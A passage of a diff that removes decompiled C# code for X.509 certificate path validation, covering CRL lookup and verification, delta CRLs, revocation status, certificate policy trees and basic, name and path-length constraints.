PkixCertPathValidatorUtilities.FindCertificates(x509CertStoreSelector, paramsPKIX.GetStores())); - CollectionUtilities.AddRange(list, PkixCertPathValidatorUtilities.FindCertificates(x509CertStoreSelector, paramsPKIX.GetAdditionalStores())); - } - catch (Exception innerException2) - { - throw new Exception("Issuer certificate for CRL cannot be searched.", innerException2); - } - list.Add(defaultCRLSignCert); - IEnumerator enumerator = list.GetEnumerator(); - IList list2 = Platform.CreateArrayList(); - IList list3 = Platform.CreateArrayList(); - while (enumerator.MoveNext()) - { - X509Certificate x509Certificate = (X509Certificate)enumerator.Current; - if (x509Certificate.Equals(defaultCRLSignCert)) - { - list2.Add(x509Certificate); - list3.Add(defaultCRLSignKey); - continue; - } - try - { - PkixCertPathBuilder pkixCertPathBuilder = new PkixCertPathBuilder(); - x509CertStoreSelector = new X509CertStoreSelector(); - x509CertStoreSelector.Certificate = x509Certificate; - PkixParameters pkixParameters = (PkixParameters)paramsPKIX.Clone(); - pkixParameters.SetTargetCertConstraints(x509CertStoreSelector); - PkixBuilderParameters instance = PkixBuilderParameters.GetInstance(pkixParameters); - if (certPathCerts.Contains(x509Certificate)) - { - instance.IsRevocationEnabled = false; - } - else - { - instance.IsRevocationEnabled = true; - } - IList certificates = pkixCertPathBuilder.Build(instance).CertPath.Certificates; - list2.Add(x509Certificate); - list3.Add(PkixCertPathValidatorUtilities.GetNextWorkingKey(certificates, 0)); - } - catch (PkixCertPathBuilderException innerException3) - { - throw new Exception("Internal error.", innerException3); - } - catch (PkixCertPathValidatorException innerException4) - { - throw new Exception("Public key of issuer certificate of CRL could not be retrieved.", innerException4); - } - } - ISet set = new HashSet(); - Exception ex = null; - for (int i = 0; i < list2.Count; i++) - { - X509Certificate x509Certificate2 = (X509Certificate)list2[i]; - bool[] keyUsage = x509Certificate2.GetKeyUsage(); - if (keyUsage != null && (keyUsage.Length < 7 || !keyUsage[CRL_SIGN])) - { - ex = new Exception("Issuer certificate key usage extension does not permit CRL signing."); - } - else - { - set.Add(list3[i]); - } - } - if (set.Count == 0 && ex == null) - { - throw new Exception("Cannot find a valid issuer certificate."); - } - if (set.Count == 0 && ex != null) - { - throw ex; - } - return set; - } - - internal static AsymmetricKeyParameter ProcessCrlG(X509Crl crl, ISet keys) - { - Exception innerException = null; - foreach (AsymmetricKeyParameter key in keys) - { - try - { - crl.Verify(key); - return key; - } - catch (Exception ex) - { - innerException = ex; - } - } - throw new Exception("Cannot verify CRL.", innerException); - } - - internal static X509Crl ProcessCrlH(ISet deltaCrls, AsymmetricKeyParameter key) - { - Exception ex = null; - foreach (X509Crl deltaCrl in deltaCrls) - { - try - { - deltaCrl.Verify(key); - return deltaCrl; - } - catch (Exception ex2) - { - ex = ex2; - } - } - if (ex != null) - { - throw new Exception("Cannot verify delta CRL.", ex); - } - return null; - } - - private static void CheckCrl(DistributionPoint dp, PkixParameters paramsPKIX, X509Certificate cert, DateTime validDate, X509Certificate defaultCRLSignCert, AsymmetricKeyParameter defaultCRLSignKey, CertStatus certStatus, ReasonsMask reasonMask, IList certPathCerts) - { - DateTime utcNow = DateTime.UtcNow; - if (validDate.Ticks > utcNow.Ticks) - { - throw new Exception("Validation time is in future."); - } - ISet completeCrls = PkixCertPathValidatorUtilities.GetCompleteCrls(dp, cert, utcNow, paramsPKIX); - bool flag = false; - Exception ex = null; - IEnumerator enumerator = completeCrls.GetEnumerator(); - while (enumerator.MoveNext() && certStatus.Status == 11 && !reasonMask.IsAllReasons) - { - try - { - X509Crl x509Crl = (X509Crl)enumerator.Current; - ReasonsMask reasonsMask = ProcessCrlD(x509Crl, dp); - if (!reasonsMask.HasNewReasons(reasonMask)) - { - continue; - } - ISet keys = ProcessCrlF(x509Crl, cert, defaultCRLSignCert, defaultCRLSignKey, paramsPKIX, certPathCerts); - AsymmetricKeyParameter key = ProcessCrlG(x509Crl, keys); - X509Crl x509Crl2 = null; - if (paramsPKIX.IsUseDeltasEnabled) - { - ISet deltaCrls = PkixCertPathValidatorUtilities.GetDeltaCrls(utcNow, paramsPKIX, x509Crl); - x509Crl2 = ProcessCrlH(deltaCrls, key); - } - if (paramsPKIX.ValidityModel != 1 && cert.NotAfter.Ticks < x509Crl.ThisUpdate.Ticks) - { - throw new Exception("No valid CRL for current time found."); - } - ProcessCrlB1(dp, cert, x509Crl); - ProcessCrlB2(dp, cert, x509Crl); - ProcessCrlC(x509Crl2, x509Crl, paramsPKIX); - ProcessCrlI(validDate, x509Crl2, cert, certStatus, paramsPKIX); - ProcessCrlJ(validDate, x509Crl, cert, certStatus); - if (certStatus.Status == 8) - { - certStatus.Status = 11; - } - reasonMask.AddReasons(reasonsMask); - ISet criticalExtensionOids = x509Crl.GetCriticalExtensionOids(); - if (criticalExtensionOids != null) - { - criticalExtensionOids = new HashSet(criticalExtensionOids); - criticalExtensionOids.Remove(X509Extensions.IssuingDistributionPoint.Id); - criticalExtensionOids.Remove(X509Extensions.DeltaCrlIndicator.Id); - if (!criticalExtensionOids.IsEmpty) - { - throw new Exception("CRL contains unsupported critical extensions."); - } - } - if (x509Crl2 != null) - { - criticalExtensionOids = x509Crl2.GetCriticalExtensionOids(); - if (criticalExtensionOids != null) - { - criticalExtensionOids = new HashSet(criticalExtensionOids); - criticalExtensionOids.Remove(X509Extensions.IssuingDistributionPoint.Id); - criticalExtensionOids.Remove(X509Extensions.DeltaCrlIndicator.Id); - if (!criticalExtensionOids.IsEmpty) - { - throw new Exception("Delta CRL contains unsupported critical extension."); - } - } - } - flag = true; - } - catch (Exception ex2) - { - ex = ex2; - } - } - if (!flag) - { - throw ex; - } - } - - protected static void CheckCrls(PkixParameters paramsPKIX, X509Certificate cert, DateTime validDate, X509Certificate sign, AsymmetricKeyParameter workingPublicKey, IList certPathCerts) - { - Exception ex = null; - CrlDistPoint crlDistPoint = null; - try - { - crlDistPoint = CrlDistPoint.GetInstance(PkixCertPathValidatorUtilities.GetExtensionValue(cert, X509Extensions.CrlDistributionPoints)); - } - catch (Exception innerException) - { - throw new Exception("CRL distribution point extension could not be read.", innerException); - } - try - { - PkixCertPathValidatorUtilities.AddAdditionalStoresFromCrlDistributionPoint(crlDistPoint, paramsPKIX); - } - catch (Exception innerException2) - { - throw new Exception("No additional CRL locations could be decoded from CRL distribution point extension.", innerException2); - } - CertStatus certStatus = new CertStatus(); - ReasonsMask reasonsMask = new ReasonsMask(); - bool flag = false; - if (crlDistPoint != null) - { - DistributionPoint[] array = null; - try - { - array = crlDistPoint.GetDistributionPoints(); - } - catch (Exception innerException3) - { - throw new Exception("Distribution points could not be read.", innerException3); - } - if (array != null) - { - for (int i = 0; i < array.Length; i++) - { - if (certStatus.Status != 11) - { - break; - } - if (reasonsMask.IsAllReasons) - { - break; - } - PkixParameters paramsPKIX2 = (PkixParameters)paramsPKIX.Clone(); - try - { - CheckCrl(array[i], paramsPKIX2, cert, validDate, sign, workingPublicKey, certStatus, reasonsMask, certPathCerts); - flag = true; - } - catch (Exception ex2) - { - ex = ex2; - } - } - } - } - if (certStatus.Status == 11 && !reasonsMask.IsAllReasons) - { - try - { - Asn1Object asn1Object = null; - try - { - asn1Object = new Asn1InputStream(cert.IssuerDN.GetEncoded()).ReadObject(); - } - catch (Exception innerException4) - { - throw new Exception("Issuer from certificate for CRL could not be reencoded.", innerException4); - } - DistributionPoint dp = new DistributionPoint(new DistributionPointName(0, new GeneralNames(new GeneralName(4, asn1Object))), null, null); - PkixParameters paramsPKIX3 = (PkixParameters)paramsPKIX.Clone(); - CheckCrl(dp, paramsPKIX3, cert, validDate, sign, workingPublicKey, certStatus, reasonsMask, certPathCerts); - flag = true; - } - catch (Exception ex3) - { - ex = ex3; - } - } - if (!flag) - { - throw ex; - } - if (certStatus.Status != 11) - { - string text = certStatus.RevocationDate.Value.ToString("ddd MMM dd HH:mm:ss K yyyy"); - string text2 = "Certificate revocation after " + text; - text2 = text2 + ", reason: " + CrlReasons[certStatus.Status]; - throw new Exception(text2); - } - if (!reasonsMask.IsAllReasons && certStatus.Status == 11) - { - certStatus.Status = 12; - } - if (certStatus.Status == 12) - { - throw new Exception("Certificate status could not be determined."); - } - } - - internal static PkixPolicyNode PrepareCertB(PkixCertPath certPath, int index, IList[] policyNodes, PkixPolicyNode validPolicyTree, int policyMapping) - { - IList certificates = certPath.Certificates; - X509Certificate x509Certificate = (X509Certificate)certificates[index]; - int count = certificates.Count; - int num = count - index; - Asn1Sequence asn1Sequence = null; - try - { - asn1Sequence = Asn1Sequence.GetInstance(PkixCertPathValidatorUtilities.GetExtensionValue(x509Certificate, X509Extensions.PolicyMappings)); - } - catch (Exception cause) - { - throw new PkixCertPathValidatorException("Policy mappings extension could not be decoded.", cause, certPath, index); - } - PkixPolicyNode pkixPolicyNode = validPolicyTree; - if (asn1Sequence != null) - { - Asn1Sequence asn1Sequence2 = asn1Sequence; - IDictionary dictionary = Platform.CreateHashtable(); - ISet set = new HashSet(); - for (int i = 0; i < asn1Sequence2.Count; i++) - { - Asn1Sequence asn1Sequence3 = (Asn1Sequence)asn1Sequence2[i]; - string id = ((DerObjectIdentifier)asn1Sequence3[0]).Id; - string id2 = ((DerObjectIdentifier)asn1Sequence3[1]).Id; - if (!dictionary.Contains(id)) - { - ISet set2 = new HashSet(); - set2.Add(id2); - dictionary[id] = set2; - set.Add(id); - } - else - { - ISet set2 = (ISet)dictionary[id]; - set2.Add(id2); - } - } - IEnumerator enumerator = set.GetEnumerator(); - while (enumerator.MoveNext()) - { - string text = (string)enumerator.Current; - if (policyMapping > 0) - { - bool flag = false; - IEnumerator enumerator2 = policyNodes[num].GetEnumerator(); - while (enumerator2.MoveNext()) - { - PkixPolicyNode pkixPolicyNode2 = (PkixPolicyNode)enumerator2.Current; - if (pkixPolicyNode2.ValidPolicy.Equals(text)) - { - flag = true; - pkixPolicyNode2.ExpectedPolicies = (ISet)dictionary[text]; - break; - } - } - if (flag) - { - continue; - } - enumerator2 = policyNodes[num].GetEnumerator(); - while (enumerator2.MoveNext()) - { - PkixPolicyNode pkixPolicyNode3 = (PkixPolicyNode)enumerator2.Current; - if (!ANY_POLICY.Equals(pkixPolicyNode3.ValidPolicy)) - { - continue; - } - ISet policyQualifiers = null; - Asn1Sequence asn1Sequence4 = null; - try - { - asn1Sequence4 = (Asn1Sequence)PkixCertPathValidatorUtilities.GetExtensionValue(x509Certificate, X509Extensions.CertificatePolicies); - } - catch (Exception cause2) - { - throw new PkixCertPathValidatorException("Certificate policies extension could not be decoded.", cause2, certPath, index); - } - foreach (Asn1Encodable item in asn1Sequence4) - { - PolicyInformation policyInformation = null; - try - { - policyInformation = PolicyInformation.GetInstance(item.ToAsn1Object()); - } - catch (Exception cause3) - { - throw new PkixCertPathValidatorException("Policy information could not be decoded.", cause3, certPath, index); - } - if (ANY_POLICY.Equals(policyInformation.PolicyIdentifier.Id)) - { - try - { - policyQualifiers = PkixCertPathValidatorUtilities.GetQualifierSet(policyInformation.PolicyQualifiers); - } - catch (PkixCertPathValidatorException cause4) - { - throw new PkixCertPathValidatorException("Policy qualifier info set could not be decoded.", cause4, certPath, index); - } - break; - } - } - bool critical = false; - ISet criticalExtensionOids = x509Certificate.GetCriticalExtensionOids(); - if (criticalExtensionOids != null) - { - critical = criticalExtensionOids.Contains(X509Extensions.CertificatePolicies.Id); - } - PkixPolicyNode parent = pkixPolicyNode3.Parent; - if (ANY_POLICY.Equals(parent.ValidPolicy)) - { - PkixPolicyNode pkixPolicyNode4 = new PkixPolicyNode(Platform.CreateArrayList(), num, (ISet)dictionary[text], parent, policyQualifiers, text, critical); - parent.AddChild(pkixPolicyNode4); - policyNodes[num].Add(pkixPolicyNode4); - } - break; - } - } - else - { - if (policyMapping > 0) - { - continue; - } - foreach (PkixPolicyNode item2 in Platform.CreateArrayList(policyNodes[num])) - { - if (!item2.ValidPolicy.Equals(text)) - { - continue; - } - item2.Parent.RemoveChild(item2); - for (int num2 = num - 1; num2 >= 0; num2--) - { - foreach (PkixPolicyNode item3 in Platform.CreateArrayList(policyNodes[num2])) - { - if (!item3.HasChildren) - { - pkixPolicyNode = PkixCertPathValidatorUtilities.RemovePolicyNode(pkixPolicyNode, policyNodes, item3); - if (pkixPolicyNode == null) - { - break; - } - } - } - } - } - } - } - } - return pkixPolicyNode; - } - - internal static ISet[] ProcessCrlA1ii(DateTime currentDate, PkixParameters paramsPKIX, X509Certificate cert, X509Crl crl) - { - ISet set = new HashSet(); - X509CrlStoreSelector x509CrlStoreSelector = new X509CrlStoreSelector(); - x509CrlStoreSelector.CertificateChecking = cert; - try - { - IList list = Platform.CreateArrayList(); - list.Add(crl.IssuerDN); - x509CrlStoreSelector.Issuers = list; - } - catch (IOException ex) - { - throw new Exception("Cannot extract issuer from CRL." + ex, ex); - } - x509CrlStoreSelector.CompleteCrlEnabled = true; - ISet set2 = CrlUtilities.FindCrls(x509CrlStoreSelector, paramsPKIX, currentDate); - if (paramsPKIX.IsUseDeltasEnabled) - { - try - { - set.AddAll(PkixCertPathValidatorUtilities.GetDeltaCrls(currentDate, paramsPKIX, crl)); - } - catch (Exception innerException) - { - throw new Exception("Exception obtaining delta CRLs.", innerException); - } - } - return new ISet[2] { set2, set }; - } - - internal static ISet ProcessCrlA1i(DateTime currentDate, PkixParameters paramsPKIX, X509Certificate cert, X509Crl crl) - { - ISet set = new HashSet(); - if (paramsPKIX.IsUseDeltasEnabled) - { - CrlDistPoint crlDistPoint = null; - try - { - crlDistPoint = CrlDistPoint.GetInstance(PkixCertPathValidatorUtilities.GetExtensionValue(cert, X509Extensions.FreshestCrl)); - } - catch (Exception innerException) - { - throw new Exception("Freshest CRL extension could not be decoded from certificate.", innerException); - } - if (crlDistPoint == null) - { - try - { - crlDistPoint = CrlDistPoint.GetInstance(PkixCertPathValidatorUtilities.GetExtensionValue(crl, X509Extensions.FreshestCrl)); - } - catch (Exception innerException2) - { - throw new Exception("Freshest CRL extension could not be decoded from CRL.", innerException2); - } - } - if (crlDistPoint != null) - { - try - { - PkixCertPathValidatorUtilities.AddAdditionalStoresFromCrlDistributionPoint(crlDistPoint, paramsPKIX); - } - catch (Exception innerException3) - { - throw new Exception("No new delta CRL locations could be added from Freshest CRL extension.", innerException3); - } - try - { - set.AddAll(PkixCertPathValidatorUtilities.GetDeltaCrls(currentDate, paramsPKIX, crl)); - } - catch (Exception innerException4) - { - throw new Exception("Exception obtaining delta CRLs.", innerException4); - } - } - } - return set; - } - - internal static void ProcessCertF(PkixCertPath certPath, int index, PkixPolicyNode validPolicyTree, int explicitPolicy) - { - if (explicitPolicy <= 0 && validPolicyTree == null) - { - throw new PkixCertPathValidatorException("No valid policy tree found when one expected.", null, certPath, index); - } - } - - internal static void ProcessCertA(PkixCertPath certPath, PkixParameters paramsPKIX, int index, AsymmetricKeyParameter workingPublicKey, X509Name workingIssuerName, X509Certificate sign) - { - IList certificates = certPath.Certificates; - X509Certificate x509Certificate = (X509Certificate)certificates[index]; - try - { - x509Certificate.Verify(workingPublicKey); - } - catch (GeneralSecurityException cause) - { - throw new PkixCertPathValidatorException("Could not validate certificate signature.", cause, certPath, index); - } - try - { - x509Certificate.CheckValidity(PkixCertPathValidatorUtilities.GetValidCertDateFromValidityModel(paramsPKIX, certPath, index)); - } - catch (CertificateExpiredException ex) - { - throw new PkixCertPathValidatorException("Could not validate certificate: " + ex.Message, ex, certPath, index); - } - catch (CertificateNotYetValidException ex2) - { - throw new PkixCertPathValidatorException("Could not validate certificate: " + ex2.Message, ex2, certPath, index); - } - catch (Exception cause2) - { - throw new PkixCertPathValidatorException("Could not validate time of certificate.", cause2, certPath, index); - } - if (paramsPKIX.IsRevocationEnabled) - { - try - { - CheckCrls(paramsPKIX, x509Certificate, PkixCertPathValidatorUtilities.GetValidCertDateFromValidityModel(paramsPKIX, certPath, index), sign, workingPublicKey, certificates); - } - catch (Exception ex3) - { - Exception ex4 = ex3.InnerException; - if (ex4 == null) - { - ex4 = ex3; - } - throw new PkixCertPathValidatorException(ex3.Message, ex4, certPath, index); - } - } - X509Name issuerPrincipal = PkixCertPathValidatorUtilities.GetIssuerPrincipal(x509Certificate); - if (!issuerPrincipal.Equivalent(workingIssuerName, inOrder: true)) - { - throw new PkixCertPathValidatorException(string.Concat("IssuerName(", issuerPrincipal, ") does not match SubjectName(", workingIssuerName, ") of signing certificate."), null, certPath, index); - } - } - - internal static int PrepareNextCertI1(PkixCertPath certPath, int index, int explicitPolicy) - { - IList certificates = certPath.Certificates; - X509Certificate ext = (X509Certificate)certificates[index]; - Asn1Sequence asn1Sequence = null; - try - { - asn1Sequence = Asn1Sequence.GetInstance(PkixCertPathValidatorUtilities.GetExtensionValue(ext, X509Extensions.PolicyConstraints)); - } - catch (Exception cause) - { - throw new PkixCertPathValidatorException("Policy constraints extension cannot be decoded.", cause, certPath, index); - } - if (asn1Sequence != null) - { - IEnumerator enumerator = asn1Sequence.GetEnumerator(); - while (enumerator.MoveNext()) - { - try - { - Asn1TaggedObject instance = Asn1TaggedObject.GetInstance(enumerator.Current); - if (instance.TagNo == 0) - { - int intValue = DerInteger.GetInstance(instance, isExplicit: false).Value.IntValue; - if (intValue < explicitPolicy) - { - return intValue; - } - break; - } - } - catch (ArgumentException cause2) - { - throw new PkixCertPathValidatorException("Policy constraints extension contents cannot be decoded.", cause2, certPath, index); - } - } - } - return explicitPolicy; - } - - internal static int PrepareNextCertI2(PkixCertPath certPath, int index, int policyMapping) - { - IList certificates = certPath.Certificates; - X509Certificate ext = (X509Certificate)certificates[index]; - Asn1Sequence asn1Sequence = null; - try - { - asn1Sequence = Asn1Sequence.GetInstance(PkixCertPathValidatorUtilities.GetExtensionValue(ext, X509Extensions.PolicyConstraints)); - } - catch (Exception cause) - { - throw new PkixCertPathValidatorException("Policy constraints extension cannot be decoded.", cause, certPath, index); - } - if (asn1Sequence != null) - { - IEnumerator enumerator = asn1Sequence.GetEnumerator(); - while (enumerator.MoveNext()) - { - try - { - Asn1TaggedObject instance = Asn1TaggedObject.GetInstance(enumerator.Current); - if (instance.TagNo == 1) - { - int intValue = DerInteger.GetInstance(instance, isExplicit: false).Value.IntValue; - if (intValue < policyMapping) - { - return intValue; - } - break; - } - } - catch (ArgumentException cause2) - { - throw new PkixCertPathValidatorException("Policy constraints extension contents cannot be decoded.", cause2, certPath, index); - } - } - } - return policyMapping; - } - - internal static void PrepareNextCertG(PkixCertPath certPath, int index, PkixNameConstraintValidator nameConstraintValidator) - { - IList certificates = certPath.Certificates; - X509Certificate ext = (X509Certificate)certificates[index]; - NameConstraints nameConstraints = null; - try - { - Asn1Sequence instance = Asn1Sequence.GetInstance(PkixCertPathValidatorUtilities.GetExtensionValue(ext, X509Extensions.NameConstraints)); - if (instance != null) - { - nameConstraints = new NameConstraints(instance); - } - } - catch (Exception cause) - { - throw new PkixCertPathValidatorException("Name constraints extension could not be decoded.", cause, certPath, index); - } - if (nameConstraints == null) - { - return; - } - Asn1Sequence permittedSubtrees = nameConstraints.PermittedSubtrees; - if (permittedSubtrees != null) - { - try - { - nameConstraintValidator.IntersectPermittedSubtree(permittedSubtrees); - } - catch (Exception cause2) - { - throw new PkixCertPathValidatorException("Permitted subtrees cannot be build from name constraints extension.", cause2, certPath, index); - } - } - Asn1Sequence excludedSubtrees = nameConstraints.ExcludedSubtrees; - if (excludedSubtrees == null) - { - return; - } - IEnumerator enumerator = excludedSubtrees.GetEnumerator(); - try - { - while (enumerator.MoveNext()) - { - GeneralSubtree instance2 = GeneralSubtree.GetInstance(enumerator.Current); - nameConstraintValidator.AddExcludedSubtree(instance2); - } - } - catch (Exception cause3) - { - throw new PkixCertPathValidatorException("Excluded subtrees cannot be build from name constraints extension.", cause3, certPath, index); - } - } - - internal static int PrepareNextCertJ(PkixCertPath certPath, int index, int inhibitAnyPolicy) - { - IList certificates = certPath.Certificates; - X509Certificate ext = (X509Certificate)certificates[index]; - DerInteger derInteger = null; - try - { - derInteger = DerInteger.GetInstance(PkixCertPathValidatorUtilities.GetExtensionValue(ext, X509Extensions.InhibitAnyPolicy)); - } - catch (Exception cause) - { - throw new PkixCertPathValidatorException("Inhibit any-policy extension cannot be decoded.", cause, certPath, index); - } - if (derInteger != null) - { - int intValue = derInteger.Value.IntValue; - if (intValue < inhibitAnyPolicy) - { - return intValue; - } - } - return inhibitAnyPolicy; - } - - internal static void PrepareNextCertK(PkixCertPath certPath, int index) - { - IList certificates = certPath.Certificates; - X509Certificate ext = (X509Certificate)certificates[index]; - BasicConstraints basicConstraints = null; - try - { - basicConstraints = BasicConstraints.GetInstance(PkixCertPathValidatorUtilities.GetExtensionValue(ext, X509Extensions.BasicConstraints)); - } - catch (Exception cause) - { - throw new PkixCertPathValidatorException("Basic constraints extension cannot be decoded.", cause, certPath, index); - } - if (basicConstraints != null) - { - if (!basicConstraints.IsCA()) - { - throw new PkixCertPathValidatorException("Not a CA certificate"); - } - return; - } - throw new PkixCertPathValidatorException("Intermediate certificate lacks BasicConstraints"); - } - - internal static int PrepareNextCertL(PkixCertPath certPath, int index, int maxPathLength) - { - IList certificates = certPath.Certificates; - X509Certificate cert = (X509Certificate)certificates[index]; - if (!PkixCertPathValidatorUtilities.IsSelfIssued(cert)) - { - if (maxPathLength <= 0) - { - throw new PkixCertPathValidatorException("Max path length not greater than zero", null, certPath, index); - } - return maxPathLength - 1; - } - return maxPathLength; - } - - internal static int PrepareNextCertM(PkixCertPath certPath, int index, int maxPathLength) - { - IList certificates = certPath.Certificates; - X509Certificate ext = (X509Certificate)certificates[index]; - BasicConstraints basicConstraints = null; - try - { - basicConstraints = BasicConstraints.GetInstance(PkixCertPathValidatorUtilities.GetExtensionValue(ext, X509Extensions.BasicConstraints)); - } - catch (Exception cause) - { - throw new PkixCertPathValidatorException("Basic constraints extension cannot be decoded.", cause, certPath, index); - } - if (basicConstraints != null) - { - BigInteger pathLenConstraint = basicConstraints.PathLenConstraint; - if (pathLenConstraint != null) - { - int intValue = pathLenConstraint.IntValue; - if (intValue < maxPathLength) - { - return intValue; - } - } - } - return maxPathLength; - } - - internal static void PrepareNextCertN(PkixCertPath certPath, int index) - { - IList certificates = certPath.Certificates; - X509Certificate x509Certificate = (X509Certificate)certificates[index]; - bool[] keyUsage = x509Certificate.GetKeyUsage(); - if (keyUsage != null && !keyUsage[KEY_CERT_SIGN]) - { - throw new PkixCertPathValidatorException("Issuer certificate keyusage extension is critical and does not permit key signing.", null, certPath, index); - } - } - - internal static void PrepareNextCertO(PkixCertPath certPath, int index, ISet criticalExtensions, IList pathCheckers) - { - IList certificates = certPath.Certificates; - X509Certificate cert = (X509Certificate)certificates[index]; - IEnumerator enumerator = pathCheckers.GetEnumerator(); - while (enumerator.MoveNext()) - { - try - { - ((PkixCertPathChecker)enumerator.Current).Check(cert, criticalExtensions); - } - catch (PkixCertPathValidatorException ex) - { - throw new PkixCertPathValidatorException(ex.Message, ex.InnerException, certPath, index); - } - } - if (!criticalExtensions.IsEmpty) - { - throw new PkixCertPathValidatorException("Certificate has unsupported critical extension.", null, certPath, index); - } - } - - internal static int PrepareNextCertH1(PkixCertPath certPath, int index, int explicitPolicy) - { - IList certificates = certPath.Certificates; - X509Certificate cert = (X509Certificate)certificates[index]; - if (!PkixCertPathValidatorUtilities.IsSelfIssued(cert) && explicitPolicy != 0) - { - return explicitPolicy - 1; - } - return explicitPolicy; - } - - internal static int PrepareNextCertH2(PkixCertPath certPath, int index, int policyMapping) - { - IList certificates = certPath.Certificates; - X509Certificate cert = (X509Certificate)certificates[index]; - if (!PkixCertPathValidatorUtilities.IsSelfIssued(cert) && policyMapping != 0) - { - return policyMapping - 1; - } - return policyMapping; - } - - internal static int PrepareNextCertH3(PkixCertPath certPath, int index, int inhibitAnyPolicy) - { - IList certificates = certPath.Certificates; - X509Certificate cert = (X509Certificate)certificates[index]; - if (!PkixCertPathValidatorUtilities.IsSelfIssued(cert) && inhibitAnyPolicy != 0) - { - return inhibitAnyPolicy - 1; - } - return inhibitAnyPolicy; - } - - internal static int WrapupCertA(int explicitPolicy, X509Certificate cert) - { - if (!PkixCertPathValidatorUtilities.IsSelfIssued(cert) && explicitPolicy != 0) - { - explicitPolicy--; - } - return explicitPolicy; - } - - internal static int WrapupCertB(PkixCertPath certPath, int index, int explicitPolicy) - { - IList certificates = certPath.Certificates; - X509Certificate ext = (X509Certificate)certificates[index]; - Asn1Sequence asn1Sequence = null; - try - { - asn1Sequence = Asn1Sequence.GetInstance(PkixCertPathValidatorUtilities.GetExtensionValue(ext, X509Extensions.PolicyConstraints)); - } - catch (Exception cause) - { - throw new PkixCertPathValidatorException("Policy constraints could not be decoded.", cause, certPath, index); - } - if (asn1Sequence != null) - { - IEnumerator enumerator = asn1Sequence.GetEnumerator(); - while (enumerator.MoveNext()) - { - Asn1TaggedObject asn1TaggedObject = (Asn1TaggedObject)enumerator.Current; - if (asn1TaggedObject.TagNo == 0) - { - int intValue; - try - { - intValue = DerInteger.GetInstance(asn1TaggedObject, isExplicit: false).Value.IntValue; - } - catch (Exception cause2) - { - throw new PkixCertPathValidatorException("Policy constraints requireExplicitPolicy field could not be decoded.", cause2, certPath, index); - } - if (intValue == 0) - { - return 0; - } - } - } - } - return explicitPolicy; - } - - internal static void WrapupCertF(PkixCertPath certPath, int index, IList pathCheckers, ISet criticalExtensions) - { - IList certificates = certPath.Certificates; - X509Certificate cert = (X509Certificate)certificates[index]; - IEnumerator enumerator = pathCheckers.GetEnumerator(); - while (enumerator.MoveNext()) - { - try - { - ((PkixCertPathChecker)enumerator.Current).Check(cert, criticalExtensions); - } - catch (PkixCertPathValidatorException cause) - { - throw new PkixCertPathValidatorException("Additional certificate path checker failed.", cause, certPath, index); - } - } - if (!criticalExtensions.IsEmpty) - { - throw new PkixCertPathValidatorException("Certificate has unsupported critical extension", null, certPath, index); - } - } - - internal static PkixPolicyNode WrapupCertG(PkixCertPath certPath, PkixParameters paramsPKIX, ISet userInitialPolicySet, int index, IList[] policyNodes, PkixPolicyNode validPolicyTree, ISet acceptablePolicies) - { - int count = certPath.Certificates.Count; - if (validPolicyTree == null) - { - if (paramsPKIX.IsExplicitPolicyRequired) - { - throw new PkixCertPathValidatorException("Explicit policy requested but none available.", null, certPath, index); - } - return null; - } - if (PkixCertPathValidatorUtilities.IsAnyPolicy(userInitialPolicySet)) - { - if (paramsPKIX.IsExplicitPolicyRequired) - { - if (acceptablePolicies.IsEmpty) - { - throw new PkixCertPathValidatorException("Explicit policy requested but none available.", null, certPath, index); - } - ISet set = new HashSet(); - foreach (IList list in policyNodes) - { - for (int j = 0; j < list.Count; j++) - { - PkixPolicyNode pkixPolicyNode = (PkixPolicyNode)list[j]; - if (!ANY_POLICY.Equals(pkixPolicyNode.ValidPolicy)) - { - continue; - } - foreach (object child in pkixPolicyNode.Children) - { - set.Add(child); - } - } - } - foreach (PkixPolicyNode item in set) - { - string validPolicy = item.ValidPolicy; - acceptablePolicies.Contains(validPolicy); - } - if (validPolicyTree != null) - { - for (int num = count - 1; num >= 0; num--) - { - IList list2 = policyNodes[num]; - for (int k = 0; k < list2.Count; k++) - { - PkixPolicyNode pkixPolicyNode3 = (PkixPolicyNode)list2[k]; - if (!pkixPolicyNode3.HasChildren) - { - validPolicyTree = PkixCertPathValidatorUtilities.RemovePolicyNode(validPolicyTree, policyNodes, pkixPolicyNode3); - } - } - } - } - } - return validPolicyTree; - } - ISet set2 = new HashSet(); - foreach (IList list3 in policyNodes) - { - for (int m = 0; m < list3.Count; m++) - { - PkixPolicyNode pkixPolicyNode4 = (PkixPolicyNode)list3[m]; - if (!ANY_POLICY.Equals(pkixPolicyNode4.ValidPolicy)) - { - continue; - } - foreach (PkixPolicyNode child2 in pkixPolicyNode4.Children) - { - if (!ANY_POLICY.Equals(child2.ValidPolicy)) - { - set2.Add(child2); - } - } - } - } - IEnumerator enumerator2 = set2.GetEnumerator(); - while (enumerator2.MoveNext()) - { - PkixPolicyNode pkixPolicyNode6 = (PkixPolicyNode)enumerator2.Current; - string validPolicy2 = pkixPolicyNode6.ValidPolicy; - if (!userInitialPolicySet.Contains(validPolicy2)) - { - validPolicyTree = PkixCertPathValidatorUtilities.RemovePolicyNode(validPolicyTree, policyNodes, pkixPolicyNode6); - } - } - if (validPolicyTree != null) - { - for (int num2 = count - 1; num2 >= 0; num2--) - { - IList list4 = policyNodes[num2]; - for (int n = 0; n < list4.Count; n++) - { - PkixPolicyNode pkixPolicyNode7 = (PkixPolicyNode)list4[n]; - if (!pkixPolicyNode7.HasChildren) - { - validPolicyTree = PkixCertPathValidatorUtilities.RemovePolicyNode(validPolicyTree, policyNodes, pkixPolicyNode7); - } - } - } - } - return validPolicyTree; - } - - internal static void ProcessCrlC(X509Crl deltaCRL, X509Crl completeCRL, PkixParameters pkixParams) - { - if (deltaCRL == null) - { - return; - } - IssuingDistributionPoint issuingDistributionPoint = null; - try - { - issuingDistributionPoint = IssuingDistributionPoint.GetInstance(PkixCertPathValidatorUtilities.GetExtensionValue(completeCRL, X509Extensions.IssuingDistributionPoint)); - } - catch (Exception innerException) - { - throw new Exception("000 Issuing distribution point extension could not be decoded.", innerException); - } - if (pkixParams.IsUseDeltasEnabled) - { - if (!deltaCRL.IssuerDN.Equivalent(completeCRL.IssuerDN, inOrder: true)) - { - throw new Exception("Complete CRL issuer does not match delta CRL issuer."); - } - IssuingDistributionPoint issuingDistributionPoint2 = null; - try - { - issuingDistributionPoint2 = IssuingDistributionPoint.GetInstance(PkixCertPathValidatorUtilities.GetExtensionValue(deltaCRL, X509Extensions.IssuingDistributionPoint)); - } - catch (Exception innerException2) - { - throw new Exception("Issuing distribution point extension from delta CRL could not be decoded.", innerException2); - } - if (!object.Equals(issuingDistributionPoint, issuingDistributionPoint2)) - { - throw new Exception("Issuing distribution point extension from delta 